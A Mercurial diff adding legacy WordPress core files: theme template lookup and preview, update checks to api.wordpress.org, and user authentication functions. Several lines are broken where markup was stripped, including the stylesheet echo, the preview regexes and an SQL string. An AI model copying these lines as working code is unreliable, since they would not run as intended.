$theme_roots[$stylesheet_or_template]; + else + $theme_root = WP_CONTENT_DIR . '/themes'; + } else { + $theme_root = WP_CONTENT_DIR . '/themes'; + } + + return apply_filters( 'theme_root', $theme_root ); +} + +/** + * Retrieve URI for themes directory. + * + * Does not have trailing slash. + * + * @since 1.5.0 + * @param $stylesheet_or_template The stylesheet or template name of the theme + * + * @return string Themes URI. + */ +function get_theme_root_uri( $stylesheet_or_template = false ) { + $theme_roots = get_theme_roots(); + + if ( $theme_roots[$stylesheet_or_template] ) + $theme_root_uri = content_url( $theme_roots[$stylesheet_or_template] ); + else + $theme_root_uri = content_url( 'themes' ); + + return apply_filters( 'theme_root_uri', $theme_root_uri, get_option('siteurl'), $stylesheet_or_template ); +} + +/** + * Retrieve path to file without the use of extension. + * + * Used to quickly retrieve the path of file without including the file + * extension. It will also check the parent template, if the file exists, with + * the use of {@link locate_template()}. Allows for more generic file location + * without the use of the other get_*_template() functions. + * + * Can be used with include() or require() to retrieve path. + * + * if( '' != get_query_template( '404' ) ) + * include( get_query_template( '404' ) ); + * + * or the same can be accomplished with + * + * if( '' != get_404_template() ) + * include( get_404_template() ); + * + * + * @since 1.5.0 + * + * @param string $type Filename without extension. + * @return string Full path to file. + */ +function get_query_template($type) { + $type = preg_replace( '|[^a-z0-9-]+|', '', $type ); + return apply_filters("{$type}_template", locate_template(array("{$type}.php"))); +} + +/** + * Retrieve path of 404 template in current or parent template. + * + * @since 1.5.0 + * + * @return string + */ +function get_404_template() { + return get_query_template('404'); +} + +/** + * Retrieve path of archive template in current or parent template. + * + * @since 1.5.0 + * + * @return string + */ +function get_archive_template() { + return get_query_template('archive'); +} + +/** + * Retrieve path of author template in current or parent template. + * + * @since 1.5.0 + * + * @return string + */ +function get_author_template() { + return get_query_template('author'); +} + +/** + * Retrieve path of category template in current or parent template. + * + * Works by first retrieving the current slug for example 'category-default.php' and then + * trying category ID, for example 'category-1.php' and will finally fallback to category.php + * template, if those files don't exist. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'category_template' on file path of category template. + * + * @return string + */ +function get_category_template() { + $cat_ID = absint( get_query_var('cat') ); + $category = get_category( $cat_ID ); + + $templates = array(); + + if ( !is_wp_error($category) ) + $templates[] = "category-{$category->slug}.php"; + + $templates[] = "category-$cat_ID.php"; + $templates[] = "category.php"; + + $template = locate_template($templates); + return apply_filters('category_template', $template); +} + +/** + * Retrieve path of tag template in current or parent template. + * + * Works by first retrieving the current tag name, for example 'tag-wordpress.php' and then + * trying tag ID, for example 'tag-1.php' and will finally fallback to tag.php + * template, if those files don't exist. + * + * @since 2.3.0 + * @uses apply_filters() Calls 'tag_template' on file path of tag template. + * + * @return string + */ +function get_tag_template() { + $tag_id = absint( get_query_var('tag_id') ); + $tag_name = get_query_var('tag'); + + $templates = array(); + + if ( $tag_name ) + $templates[] = "tag-$tag_name.php"; + if ( $tag_id ) + $templates[] = "tag-$tag_id.php"; + $templates[] = "tag.php"; + + $template = locate_template($templates); + return apply_filters('tag_template', $template); +} + +/** + * Retrieve path of taxonomy template in current or parent template. + * + * Retrieves the taxonomy and term, if term is available. The template is + * prepended with 'taxonomy-' and followed by both the taxonomy string and + * the taxonomy string followed by a dash and then followed by the term. + * + * The taxonomy and term template is checked and used first, if it exists. + * Second, just the taxonomy template is checked, and then finally, taxonomy.php + * template is used. If none of the files exist, then it will fall back on to + * index.php. + * + * @since unknown (2.6.0 most likely) + * @uses apply_filters() Calls 'taxonomy_template' filter on found path. + * + * @return string + */ +function get_taxonomy_template() { + $taxonomy = get_query_var('taxonomy'); + $term = get_query_var('term'); + + $templates = array(); + if ( $taxonomy && $term ) + $templates[] = "taxonomy-$taxonomy-$term.php"; + if ( $taxonomy ) + $templates[] = "taxonomy-$taxonomy.php"; + + $templates[] = "taxonomy.php"; + + $template = locate_template($templates); + return apply_filters('taxonomy_template', $template); +} + +/** + * Retrieve path of date template in current or parent template. + * + * @since 1.5.0 + * + * @return string + */ +function get_date_template() { + return get_query_template('date'); +} + +/** + * Retrieve path of home template in current or parent template. + * + * Attempts to locate 'home.php' first before falling back to 'index.php'. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'home_template' on file path of home template. + * + * @return string + */ +function get_home_template() { + $template = locate_template(array('home.php', 'index.php')); + return apply_filters('home_template', $template); +} + +/** + * Retrieve path of page template in current or parent template. + * + * Will first look for the specifically assigned page template + * The will search for 'page-{slug}.php' followed by 'page-id.php' + * and finally 'page.php' + * + * @since 1.5.0 + * + * @return string + */ +function get_page_template() { + global $wp_query; + + $id = (int) $wp_query->post->ID; + $template = get_post_meta($id, '_wp_page_template', true); + $pagename = get_query_var('pagename'); + + if ( 'default' == $template ) + $template = ''; + + $templates = array(); + if ( !empty($template) && !validate_file($template) ) + $templates[] = $template; + if ( $pagename ) + $templates[] = "page-$pagename.php"; + if ( $id ) + $templates[] = "page-$id.php"; + $templates[] = "page.php"; + + return apply_filters('page_template', locate_template($templates)); +} + +/** + * Retrieve path of paged template in current or parent template. + * + * @since 1.5.0 + * + * @return string + */ +function get_paged_template() { + return get_query_template('paged'); +} + +/** + * Retrieve path of search template in current or parent template. + * + * @since 1.5.0 + * + * @return string + */ +function get_search_template() { + return get_query_template('search'); +} + +/** + * Retrieve path of single template in current or parent template. + * + * @since 1.5.0 + * + * @return string + */ +function get_single_template() { + return get_query_template('single'); +} + +/** + * Retrieve path of attachment template in current or parent template. + * + * The attachment path first checks if the first part of the mime type exists. + * The second check is for the second part of the mime type. The last check is + * for both types separated by an underscore. If neither are found then the file + * 'attachment.php' is checked and returned. + * + * Some examples for the 'text/plain' mime type are 'text.php', 'plain.php', and + * finally 'text_plain.php'. + * + * @since 2.0.0 + * + * @return string + */ +function get_attachment_template() { + global $posts; + $type = explode('/', $posts[0]->post_mime_type); + if ( $template = get_query_template($type[0]) ) + return $template; + elseif ( $template = get_query_template($type[1]) ) + return $template; + elseif ( $template = get_query_template("$type[0]_$type[1]") ) + return $template; + else + return get_query_template('attachment'); +} + +/** + * Retrieve path of comment popup template in current or parent template. + * + * Checks for comment popup template in current template, if it exists or in the + * parent template. If it doesn't exist, then it retrieves the comment-popup.php + * file from the default theme. The default theme must then exist for it to + * work. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'comments_popup_template' filter on path. + * + * @return string + */ +function get_comments_popup_template() { + $template = locate_template(array("comments-popup.php")); + if ('' == $template) + $template = get_theme_root() . '/default/comments-popup.php'; + + return apply_filters('comments_popup_template', $template); +} + +/** + * Retrieve the name of the highest priority template file that exists. + * + * Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which + * inherit from a parent theme can just overload one file. + * + * @since 2.7.0 + * + * @param array $template_names Array of template files to search for in priority order. + * @param bool $load If true the template file will be loaded if it is found. + * @return string The template filename if one is located. + */ +function locate_template($template_names, $load = false) { + if (!is_array($template_names)) + return ''; + + $located = ''; + foreach($template_names as $template_name) { + if ( file_exists(STYLESHEETPATH . '/' . $template_name)) { + $located = STYLESHEETPATH . '/' . $template_name; + break; + } else if ( file_exists(TEMPLATEPATH . '/' . $template_name) ) { + $located = TEMPLATEPATH . '/' . $template_name; + break; + } + } + + if ($load && '' != $located) + load_template($located); + + return $located; +} + +/** + * Require once the template file with WordPress environment. + * + * The globals are set up for the template file to ensure that the WordPress + * environment is available from within the function. The query variables are + * also available. + * + * @since 1.5.0 + * + * @param string $_template_file Path to template file. + */ +function load_template($_template_file) { + global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID; + + if ( is_array($wp_query->query_vars) ) + extract($wp_query->query_vars, EXTR_SKIP); + + require_once($_template_file); +} + +/** + * Display localized stylesheet link element. + * + * @since 2.1.0 + */ +function locale_stylesheet() { + $stylesheet = get_locale_stylesheet_uri(); + if ( empty($stylesheet) ) + return; + echo ''; +} + +/** + * Start preview theme output buffer. + * + * Will only preform task if the user has permissions and template and preview + * query variables exist. + * + * @since 2.6.0 + */ +function preview_theme() { + if ( ! (isset($_GET['template']) && isset($_GET['preview'])) ) + return; + + if ( !current_user_can( 'switch_themes' ) ) + return; + + $_GET['template'] = preg_replace('|[^a-z0-9_./-]|i', '', $_GET['template']); + + if ( validate_file($_GET['template']) ) + return; + + add_filter( 'template', '_preview_theme_template_filter' ); + + if ( isset($_GET['stylesheet']) ) { + $_GET['stylesheet'] = preg_replace('|[^a-z0-9_./-]|i', '', $_GET['stylesheet']); + if ( validate_file($_GET['stylesheet']) ) + return; + add_filter( 'stylesheet', '_preview_theme_stylesheet_filter' ); + } + + // Prevent theme mods to current theme being used on theme being previewed + add_filter( 'pre_option_mods_' . get_current_theme(), create_function( '', "return array();" ) ); + + ob_start( 'preview_theme_ob_filter' ); +} +add_action('setup_theme', 'preview_theme'); + +/** + * Private function to modify the current template when previewing a theme + * + * @since 2.9.0 + * @access private + * + * @return string + */ +function _preview_theme_template_filter() { + return isset($_GET['template']) ? $_GET['template'] : ''; +} + +/** + * Private function to modify the current stylesheet when previewing a theme + * + * @since 2.9.0 + * @access private + * + * @return string + */ +function _preview_theme_stylesheet_filter() { + return isset($_GET['stylesheet']) ? $_GET['stylesheet'] : ''; +} + +/** + * Callback function for ob_start() to capture all links in the theme. + * + * @since 2.6.0 + * @access private + * + * @param string $content + * @return string + */ +function preview_theme_ob_filter( $content ) { + return preg_replace_callback( "|()|", 'preview_theme_ob_filter_callback', $content ); +} + +/** + * Manipulates preview theme links in order to control and maintain location. + * + * Callback function for preg_replace_callback() to accept and filter matches. + * + * @since 2.6.0 + * @access private + * + * @param array $matches + * @return string + */ +function preview_theme_ob_filter_callback( $matches ) { + if ( strpos($matches[4], 'onclick') !== false ) + $matches[4] = preg_replace('#onclick=([\'"]).*?(?. (? 1, 'template' => $_GET['template'], 'stylesheet' => @$_GET['stylesheet'] ), $matches[3] ); + if ( 0 === strpos($link, 'preview=1') ) + $link = "?$link"; + return $matches[1] . esc_attr( $link ) . $matches[4]; +} + +/** + * Switches current theme to new template and stylesheet names. + * + * @since unknown + * @uses do_action() Calls 'switch_theme' action on updated theme display name. + * + * @param string $template Template name + * @param string $stylesheet Stylesheet name. + */ +function switch_theme($template, $stylesheet) { + update_option('template', $template); + update_option('stylesheet', $stylesheet); + delete_option('current_theme'); + $theme = get_current_theme(); + do_action('switch_theme', $theme); +} + +/** + * Checks that current theme files 'index.php' and 'style.css' exists. + * + * Does not check the 'default' theme. The 'default' theme should always exist + * or should have another theme renamed to that template name and directory + * path. Will switch theme to default if current theme does not validate. + * You can use the 'validate_current_theme' filter to return FALSE to + * disable this functionality. + * + * @since 1.5.0 + * + * @return bool + */ +function validate_current_theme() { + // Don't validate during an install/upgrade. + if ( defined('WP_INSTALLING') || !apply_filters( 'validate_current_theme', true ) ) + return true; + + if ( get_template() != 'default' && !file_exists(get_template_directory() . '/index.php') ) { + switch_theme('default', 'default'); + return false; + } + + if ( get_stylesheet() != 'default' && !file_exists(get_template_directory() . '/style.css') ) { + switch_theme('default', 'default'); + return false; + } + + return true; +} + +/** + * Retrieve theme modification value for the current theme. + * + * If the modification name does not exist, then the $default will be passed + * through {@link http://php.net/sprintf sprintf()} PHP function with the first + * string the template directory URI and the second string the stylesheet + * directory URI. + * + * @since 2.1.0 + * @uses apply_filters() Calls 'theme_mod_$name' filter on the value. + * + * @param string $name Theme modification name. + * @param bool|string $default + * @return string + */ +function get_theme_mod($name, $default = false) { + $theme = get_current_theme(); + + $mods = get_option("mods_$theme"); + + if ( isset($mods[$name]) ) + return apply_filters( "theme_mod_$name", $mods[$name] ); + + return apply_filters( "theme_mod_$name", sprintf($default, get_template_directory_uri(), get_stylesheet_directory_uri()) ); +} + +/** + * Update theme modification value for the current theme. + * + * @since 2.1.0 + * + * @param string $name Theme modification name. + * @param string $value theme modification value. + */ +function set_theme_mod($name, $value) { + $theme = get_current_theme(); + + $mods = get_option("mods_$theme"); + + $mods[$name] = $value; + + update_option("mods_$theme", $mods); + wp_cache_delete("mods_$theme", 'options'); +} + +/** + * Remove theme modification name from current theme list. + * + * If removing the name also removes all elements, then the entire option will + * be removed. + * + * @since 2.1.0 + * + * @param string $name Theme modification name. + * @return null + */ +function remove_theme_mod( $name ) { + $theme = get_current_theme(); + + $mods = get_option("mods_$theme"); + + if ( !isset($mods[$name]) ) + return; + + unset($mods[$name]); + + if ( empty($mods) ) + return remove_theme_mods(); + + update_option("mods_$theme", $mods); + wp_cache_delete("mods_$theme", 'options'); +} + +/** + * Remove theme modifications option for current theme. + * + * @since 2.1.0 + */ +function remove_theme_mods() { + $theme = get_current_theme(); + + delete_option("mods_$theme"); +} + +/** + * Retrieve text color for custom header. + * + * @since 2.1.0 + * @uses HEADER_TEXTCOLOR + * + * @return string + */ +function get_header_textcolor() { + return get_theme_mod('header_textcolor', HEADER_TEXTCOLOR); +} + +/** + * Display text color for custom header. + * + * @since 2.1.0 + */ +function header_textcolor() { + echo get_header_textcolor(); +} + +/** + * Retrieve header image for custom header. + * + * @since 2.1.0 + * @uses HEADER_IMAGE + * + * @return string + */ +function get_header_image() { + return get_theme_mod('header_image', HEADER_IMAGE); +} + +/** + * Display header image path. + * + * @since 2.1.0 + */ +function header_image() { + echo get_header_image(); +} + +/** + * Add callbacks for image header display. + * + * The parameter $header_callback callback will be required to display the + * content for the 'wp_head' action. The parameter $admin_header_callback + * callback will be added to Custom_Image_Header class and that will be added + * to the 'admin_menu' action. + * + * @since 2.1.0 + * @uses Custom_Image_Header Sets up for $admin_header_callback for administration panel display. + * + * @param callback $header_callback Call on 'wp_head' action. + * @param callback $admin_header_callback Call on administration panels. + */ +function add_custom_image_header($header_callback, $admin_header_callback) { + if ( ! empty($header_callback) ) + add_action('wp_head', $header_callback); + + if ( ! is_admin() ) + return; + require_once(ABSPATH . 'wp-admin/custom-header.php'); + $GLOBALS['custom_image_header'] =& new Custom_Image_Header($admin_header_callback); + add_action('admin_menu', array(&$GLOBALS['custom_image_header'], 'init')); +} + +/** + * Allows a theme to register its support of a certain feature + * + * Must be called in the themes functions.php file to work. + * + * @author Mark Jaquith + * @since 2.9 + * @param string $feature the feature being added + */ +function add_theme_support( $feature ) { + global $_wp_theme_features; + + if ( func_num_args() == 1 ) + $_wp_theme_features[$feature] = true; + else + $_wp_theme_features[$feature] = array_slice( func_get_args(), 1 ); +} + +/** + * Checks a theme's support for a given feature + * + * @author Mark Jaquith + * @since 2.9 + * @param string $feature the feature being checked + * @return boolean + */ + +function current_theme_supports( $feature ) { + global $_wp_theme_features; + + if ( !isset( $_wp_theme_features[$feature] ) ) + return false; + + // If no args passed then no extra checks need be performed + if ( func_num_args() <= 1 ) + return true; + + $args = array_slice( func_get_args(), 1 ); + + // @todo Allow pluggable arg checking + switch ( $feature ) { + case 'post-thumbnails': + // post-thumbnails can be registered for only certain content/post types by passing + // an array of types to add_theme_support(). If no array was passed, then + // any type is accepted + if ( true === $_wp_theme_features[$feature] ) // Registered for all types + return true; + $content_type = $args[0]; + if ( in_array($content_type, $_wp_theme_features[$feature][0]) ) + return true; + else + return false; + break; + } + + return true; +} + +/** + * Checks a theme's support for a given feature before loading the functions which implement it. + * + * @author Peter Westwood + * @since 2.9 + * @param string $feature the feature being checked + * @param string $include the file containing the functions that implement the feature + */ +function require_if_theme_supports( $feature, $include) { + if ( current_theme_supports( $feature ) ) + require ( $include ); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/update.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/update.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,335 @@ +updates = array(); + $current->version_checked = $wp_version; + } + + $locale = apply_filters( 'core_version_check_locale', get_locale() ); + + // Update last_checked for current to prevent multiple blocking requests if request hangs + $current->last_checked = time(); + set_transient( 'update_core', $current ); + + if ( method_exists( $wpdb, 'db_version' ) ) + $mysql_version = preg_replace('/[^0-9.].*/', '', $wpdb->db_version()); + else + $mysql_version = 'N/A'; + $local_package = isset( $wp_local_package )? $wp_local_package : ''; + $url = "http://api.wordpress.org/core/version-check/1.3/?version=$wp_version&php=$php_version&locale=$locale&mysql=$mysql_version&local_package=$local_package"; + + $options = array( + 'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3), + 'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) + ); + + $response = wp_remote_get($url, $options); + + if ( is_wp_error( $response ) ) + return false; + + if ( 200 != $response['response']['code'] ) + return false; + + $body = trim( $response['body'] ); + $body = str_replace(array("\r\n", "\r"), "\n", $body); + $new_options = array(); + foreach( explode( "\n\n", $body ) as $entry) { + $returns = explode("\n", $entry); + $new_option = new stdClass(); + $new_option->response = esc_attr( $returns[0] ); + if ( isset( $returns[1] ) ) + $new_option->url = esc_url( $returns[1] ); + if ( isset( $returns[2] ) ) + $new_option->package = esc_url( $returns[2] ); + if ( isset( $returns[3] ) ) + $new_option->current = esc_attr( $returns[3] ); + if ( isset( $returns[4] ) ) + $new_option->locale = esc_attr( $returns[4] ); + $new_options[] = $new_option; + } + + $updates = new stdClass(); + $updates->updates = $new_options; + $updates->last_checked = time(); + $updates->version_checked = $wp_version; + set_transient( 'update_core', $updates); +} + +/** + * Check plugin versions against the latest versions hosted on WordPress.org. + * + * The WordPress version, PHP version, and Locale is sent along with a list of + * all plugins installed. Checks against the WordPress server at + * api.wordpress.org. Will only check if WordPress isn't installing. + * + * @package WordPress + * @since 2.3.0 + * @uses $wp_version Used to notidy the WordPress version. + * + * @return mixed Returns null if update is unsupported. Returns false if check is too soon. + */ +function wp_update_plugins() { + global $wp_version; + + if ( defined('WP_INSTALLING') ) + return false; + + // If running blog-side, bail unless we've not checked in the last 12 hours + if ( !function_exists( 'get_plugins' ) ) + require_once( ABSPATH . 'wp-admin/includes/plugin.php' ); + + $plugins = get_plugins(); + $active = get_option( 'active_plugins' ); + $current = get_transient( 'update_plugins' ); + if ( ! is_object($current) ) + $current = new stdClass; + + $new_option = new stdClass; + $new_option->last_checked = time(); + $timeout = 'load-plugins.php' == current_filter() ? 3600 : 43200; //Check for updated every 60 minutes if hitting the themes page, Else, check every 12 hours + $time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked ); + + $plugin_changed = false; + foreach ( $plugins as $file => $p ) { + $new_option->checked[ $file ] = $p['Version']; + + if ( !isset( $current->checked[ $file ] ) || strval($current->checked[ $file ]) !== strval($p['Version']) ) + $plugin_changed = true; + } + + if ( isset ( $current->response ) && is_array( $current->response ) ) { + foreach ( $current->response as $plugin_file => $update_details ) { + if ( ! isset($plugins[ $plugin_file ]) ) { + $plugin_changed = true; + break; + } + } + } + + // Bail if we've checked in the last 12 hours and if nothing has changed + if ( $time_not_changed && !$plugin_changed ) + return false; + + // Update last_checked for current to prevent multiple blocking requests if request hangs + $current->last_checked = time(); + set_transient( 'update_plugins', $current ); + + $to_send = (object)compact('plugins', 'active'); + + $options = array( + 'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3), + 'body' => array( 'plugins' => serialize( $to_send ) ), + 'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) + ); + + $raw_response = wp_remote_post('http://api.wordpress.org/plugins/update-check/1.0/', $options); + + if ( is_wp_error( $raw_response ) ) + return false; + + if( 200 != $raw_response['response']['code'] ) + return false; + + $response = unserialize( $raw_response['body'] ); + + if ( false !== $response ) + $new_option->response = $response; + else + $new_option->response = array(); + + set_transient( 'update_plugins', $new_option ); +} + +/** + * Check theme versions against the latest versions hosted on WordPress.org. + * + * A list of all themes installed in sent to WP. Checks against the + * WordPress server at api.wordpress.org. Will only check if WordPress isn't + * installing. + * + * @package WordPress + * @since 2.7.0 + * @uses $wp_version Used to notidy the WordPress version. + * + * @return mixed Returns null if update is unsupported. Returns false if check is too soon. + */ +function wp_update_themes( ) { + global $wp_version; + + if( defined( 'WP_INSTALLING' ) ) + return false; + + if( !function_exists( 'get_themes' ) ) + require_once( ABSPATH . 'wp-includes/theme.php' ); + + $installed_themes = get_themes( ); + $current_theme = get_transient( 'update_themes' ); + if ( ! is_object($current_theme) ) + $current_theme = new stdClass; + + $new_option = new stdClass; + $new_option->last_checked = time( ); + $timeout = 'load-themes.php' == current_filter() ? 3600 : 43200; //Check for updated every 60 minutes if hitting the themes page, Else, check every 12 hours + $time_not_changed = isset( $current_theme->last_checked ) && $timeout > ( time( ) - $current_theme->last_checked ); + + $themes = array(); + $checked = array(); + $themes['current_theme'] = (array) $current_theme; + foreach( (array) $installed_themes as $theme_title => $theme ) { + $themes[$theme['Stylesheet']] = array(); + $checked[$theme['Stylesheet']] = $theme['Version']; + + foreach( (array) $theme as $key => $value ) { + $themes[$theme['Stylesheet']][$key] = $value; + } + } + + $theme_changed = false; + foreach ( $checked as $slug => $v ) { + $new_option->checked[ $slug ] = $v; + + if ( !isset( $current_theme->checked[ $slug ] ) || strval($current_theme->checked[ $slug ]) !== strval($v) ) + $theme_changed = true; + } + + if ( isset ( $current_theme->response ) && is_array( $current_theme->response ) ) { + foreach ( $current_theme->response as $slug => $update_details ) { + if ( ! isset($checked[ $slug ]) ) { + $theme_changed = true; + break; + } + } + } + + if( $time_not_changed && !$theme_changed ) + return false; + + // Update last_checked for current to prevent multiple blocking requests if request hangs + $current_theme->last_checked = time(); + set_transient( 'update_themes', $current_theme ); + + $current_theme->template = get_option( 'template' ); + + $options = array( + 'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3), + 'body' => array( 'themes' => serialize( $themes ) ), + 'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) + ); + + $raw_response = wp_remote_post( 'http://api.wordpress.org/themes/update-check/1.0/', $options ); + + if( is_wp_error( $raw_response ) ) + return false; + + if( 200 != $raw_response['response']['code'] ) + return false; + + $response = unserialize( $raw_response['body'] ); + if( $response ) { + $new_option->checked = $checked; + $new_option->response = $response; + } + + set_transient( 'update_themes', $new_option ); +} + +function _maybe_update_core() { + global $wp_version; + + $current = get_transient( 'update_core' ); + + if ( isset( $current->last_checked ) && + 43200 > ( time() - $current->last_checked ) && + isset( $current->version_checked ) && + $current->version_checked == $wp_version ) + return; + + wp_version_check(); +} +/** + * Check the last time plugins were run before checking plugin versions. + * + * This might have been backported to WordPress 2.6.1 for performance reasons. + * This is used for the wp-admin to check only so often instead of every page + * load. + * + * @since 2.7.0 + * @access private + */ +function _maybe_update_plugins() { + $current = get_transient( 'update_plugins' ); + if ( isset( $current->last_checked ) && 43200 > ( time() - $current->last_checked ) ) + return; + wp_update_plugins(); +} + +/** + * Check themes versions only after a duration of time. + * + * This is for performance reasons to make sure that on the theme version + * checker is not run on every page load. + * + * @since 2.7.0 + * @access private + */ +function _maybe_update_themes( ) { + $current = get_transient( 'update_themes' ); + if( isset( $current->last_checked ) && 43200 > ( time( ) - $current->last_checked ) ) + return; + + wp_update_themes(); +} + +add_action( 'admin_init', '_maybe_update_core' ); +add_action( 'wp_version_check', 'wp_version_check' ); + +add_action( 'load-plugins.php', 'wp_update_plugins' ); +add_action( 'load-update.php', 'wp_update_plugins' ); +add_action( 'load-update-core.php', 'wp_update_plugins' ); +add_action( 'admin_init', '_maybe_update_plugins' ); +add_action( 'wp_update_plugins', 'wp_update_plugins' ); + +add_action( 'load-themes.php', 'wp_update_themes' ); +add_action( 'load-update.php', 'wp_update_themes' ); +add_action( 'admin_init', '_maybe_update_themes' ); +add_action( 'wp_update_themes', 'wp_update_themes' ); + +if ( !wp_next_scheduled('wp_version_check') && !defined('WP_INSTALLING') ) + wp_schedule_event(time(), 'twicedaily', 'wp_version_check'); + +if ( !wp_next_scheduled('wp_update_plugins') && !defined('WP_INSTALLING') ) + wp_schedule_event(time(), 'twicedaily', 'wp_update_plugins'); + +if ( !wp_next_scheduled('wp_update_themes') && !defined('WP_INSTALLING') ) + wp_schedule_event(time(), 'twicedaily', 'wp_update_themes'); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/user.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/user.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,736 @@ +get_error_codes() == array('empty_username', 'empty_password') ) { + $user = new WP_Error('', ''); + } + + return $user; + } + + wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie); + do_action('wp_login', $credentials['user_login']); + return $user; +} + + +/** + * Authenticate the user using the username and password. + */ +add_filter('authenticate', 'wp_authenticate_username_password', 20, 3); +function wp_authenticate_username_password($user, $username, $password) { + if ( is_a($user, 'WP_User') ) { return $user; } + + if ( empty($username) || empty($password) ) { + $error = new WP_Error(); + + if ( empty($username) ) + $error->add('empty_username', __('ERROR: The username field is empty.')); + + if ( empty($password) ) + $error->add('empty_password', __('ERROR: The password field is empty.')); + + return $error; + } + + $userdata = get_userdatabylogin($username); + + if ( !$userdata ) { + return new WP_Error('invalid_username', sprintf(__('ERROR: Invalid username. Lost your password?'), site_url('wp-login.php?action=lostpassword', 'login'))); + } + + $userdata = apply_filters('wp_authenticate_user', $userdata, $password); + if ( is_wp_error($userdata) ) { + return $userdata; + } + + if ( !wp_check_password($password, $userdata->user_pass, $userdata->ID) ) { + return new WP_Error('incorrect_password', sprintf(__('ERROR: Incorrect password. Lost your password?'), site_url('wp-login.php?action=lostpassword', 'login'))); + } + + $user = new WP_User($userdata->ID); + return $user; +} + +/** + * Authenticate the user using the WordPress auth cookie. + */ +function wp_authenticate_cookie($user, $username, $password) { + if ( is_a($user, 'WP_User') ) { return $user; } + + if ( empty($username) && empty($password) ) { + $user_id = wp_validate_auth_cookie(); + if ( $user_id ) + return new WP_User($user_id); + + global $auth_secure_cookie; + + if ( $auth_secure_cookie ) + $auth_cookie = SECURE_AUTH_COOKIE; + else + $auth_cookie = AUTH_COOKIE; + + if ( !empty($_COOKIE[$auth_cookie]) ) + return new WP_Error('expired_session', __('Please log in again.')); + + // If the cookie is not set, be silent. + } + + return $user; +} + +/** + * Retrieve user data based on field. + * + * Use get_profile() will make a database query to get the value of the table + * column. The value might be cached using the query cache, but care should be + * taken when using the function to not make a lot of queries for retrieving + * user profile information. + * + * If the $user parameter is not used, then the user will be retrieved from a + * cookie of the user. Therefore, if the cookie does not exist, then no value + * might be returned. Sanity checking must be done to ensure that when using + * get_profile() that empty/null/false values are handled and that something is + * at least displayed. + * + * @since 1.5.0 + * @uses $wpdb WordPress database object to create queries. + * + * @param string $field User field to retrieve. + * @param string $user Optional. User username. + * @return string The value in the field. + */ +function get_profile($field, $user = false) { + global $wpdb; + if ( !$user ) + $user = esc_sql( $_COOKIE[USER_COOKIE] ); + return $wpdb->get_var( $wpdb->prepare("SELECT $field FROM $wpdb->users WHERE user_login = %s", $user) ); +} + +/** + * Number of posts user has written. + * + * @since 0.71 + * @uses $wpdb WordPress database object for queries. + * + * @param int $userid User ID. + * @return int Amount of posts user has written. + */ +function get_usernumposts($userid) { + global $wpdb; + $userid = (int) $userid; + $count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND ", $userid) . get_private_posts_cap_sql('post')); + return apply_filters('get_usernumposts', $count, $userid); +} + +/** + * Check that the user login name and password is correct. + * + * @since 0.71 + * @todo xmlrpc only. Maybe move to xmlrpc.php. + * + * @param string $user_login User name. + * @param string $user_pass User password. + * @return bool False if does not authenticate, true if username and password authenticates. + */ +function user_pass_ok($user_login, $user_pass) { + $user = wp_authenticate($user_login, $user_pass); + if ( is_wp_error($user) ) + return false; + + return true; +} + +// +// User option functions +// + +/** + * Retrieve user option that can be either global, user, or blog. + * + * If the user ID is not given, then the current user will be used instead. If + * the user ID is given, then the user data will be retrieved. The filter for + * the result, will also pass the original option name and finally the user data + * object as the third parameter. + * + * The option will first check for the non-global name, then the global name, + * and if it still doesn't find it, it will try the blog option. The option can + * either be modified or set by a plugin. + * + * @since 2.0.0 + * @uses $wpdb WordPress database object for queries. + * @uses apply_filters() Calls 'get_user_option_$option' hook with result, + * option parameter, and user data object. + * + * @param string $option User option name. + * @param int $user Optional. User ID. + * @param bool $check_blog_options Whether to check for an option in the options table if a per-user option does not exist. Default is true. + * @return mixed + */ +function get_user_option( $option, $user = 0, $check_blog_options = true ) { + global $wpdb; + + $option = preg_replace('|[^a-z0-9_]|i', '', $option); + if ( empty($user) ) + $user = wp_get_current_user(); + else + $user = get_userdata($user); + + if ( isset( $user->{$wpdb->prefix . $option} ) ) // Blog specific + $result = $user->{$wpdb->prefix . $option}; + elseif ( isset( $user->{$option} ) ) // User specific and cross-blog + $result = $user->{$option}; + elseif ( $check_blog_options ) // Blog global + $result = get_option( $option ); + else + $result = false; + + return apply_filters("get_user_option_{$option}", $result, $option, $user); +} + +/** + * Update user option with global blog capability. + * + * User options are just like user metadata except that they have support for + * global blog options. If the 'global' parameter is false, which it is by default + * it will prepend the WordPress table prefix to the option name. + * + * @since 2.0.0 + * @uses $wpdb WordPress database object for queries + * + * @param int $user_id User ID + * @param string $option_name User option name. + * @param mixed $newvalue User option value. + * @param bool $global Optional. Whether option name is blog specific or not. + * @return unknown + */ +function update_user_option( $user_id, $option_name, $newvalue, $global = false ) { + global $wpdb; + if ( !$global ) + $option_name = $wpdb->prefix . $option_name; + return update_usermeta( $user_id, $option_name, $newvalue ); +} + +/** + * Get users for the blog. + * + * For setups that use the multi-blog feature. Can be used outside of the + * multi-blog feature. + * + * @since 2.2.0 + * @uses $wpdb WordPress database object for queries + * @uses $blog_id The Blog id of the blog for those that use more than one blog + * + * @param int $id Blog ID. + * @return array List of users that are part of that Blog ID + */ +function get_users_of_blog( $id = '' ) { + global $wpdb, $blog_id; + if ( empty($id) 